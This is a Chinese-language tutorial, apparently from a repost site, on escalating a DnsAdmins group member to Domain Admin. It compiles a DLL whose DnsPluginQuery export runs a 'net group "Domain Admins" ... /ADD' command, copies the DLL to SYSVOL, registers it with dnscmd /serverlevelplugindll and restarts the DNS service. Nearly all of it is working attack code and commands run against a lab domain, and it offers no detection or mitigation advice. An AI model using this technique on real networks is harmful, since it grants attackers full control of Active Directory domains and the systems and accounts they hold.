0x01.背景实验利用DNS Administrators 组成员 , 通过远程配置Dns服务 , 进行Dll inject从而实现特权提升 。
在域内 , Dns server 通常为Dc Server,Dns服务器管理基于rpc , 通过调用c:windowssystem32dns.exe,创建Rpc接口 , 使用PIPEDNSSERVER命名管道进行传输 。
DNS服务默认ACL 如下图:
文章插图
【域内一个特权提升技巧】
DNS.exe 默认启动权限为NT AUTHORITYSYSTEM:
文章插图
0x02、过程0x0201 dll文件编译:dll源码:
// dllmain.cpp : 定义 DLL 应用程序的入口点 。\#include "pch.h"Dword WINAPI DnsPluginInitialize(PVOID a1, PVOID a2){return 0;}DWORD WINAPI DnsPluginCleanup(){return 0;}DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4){WinExec("net group \"Domain Admins\" sixth-hospital /ADD /DOMAIN", SW_SHOWNORMAL);return 0;}BOOL APIENTRY DllMain(HMODULE hModule,DWORDul_reason_for_call,LPVOID lpReserved){switch (ul_reason_for_call){case DLL_PROCESS_ATTACH:case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;}return TRUE;}
导出函数 , Source.def文件:EXPORTSDnsPluginInitializeDnsPluginCleanupDnsPluginQuery
编译后查看导出函数是否正确:文章插图
0x0202 特权提升:首先找到Dnsadmins
net user sixth-hospital /domain
文章插图
将dll 复制到sysvol
copy Dlldns.dll \WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts
使用当前用户列举AD c盘dir \WIN-43QM2N9GRC4.hackhello.local\c$
文章插图
执行dnscmd 配置调用dll
dnscmd WIN-43QM2N9GRC4.hackhello.local /config /serverlevelplugindll \WIN-43QM2N9GRC4.hackhello.local\sysvol\hackhello.local\scripts\Dlldns.dll
文章插图
此时查看dc注册表 , 已经配置好了dll路径 。
reg query HKEY_LOCAL_macHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
文章插图
重启dns
sc stop dnssc start dns
文章插图
重启完服务后再执行net命令
net user sixth-hospital /domain
文章插图
可以看到已经成功将Dnsadmins用户提升至域管理员权限
我们列下c盘符下文件
文章插图
推荐阅读
- 什么是渐进式Web应用程序
- 不要把鸡蛋放在同一个篮子里的启示?不要将你的鸡蛋全部放在一个篮子里与下列俗语
- 七夕送什么礼物好
- 打造一个好看又实用的Windows终端
- 阿里P8面试官:如何设计一个扛住千万级并发的架构?
- 简述网络编程中的Socket
- 不会做饭的妈妈不是一个好妈妈?从一个不会做饭 到孩子的妈
- 一天一个睡前故事女朋友?睡前故事女朋友一万字_1
- 地下城与勇士|DNF: 如何衡量一个实心C、奶的标准?达到这个门槛,进团无忧无虑
- 制服|这四大星座职场平步青云,商场大杀四方,未来一个月最易大发横财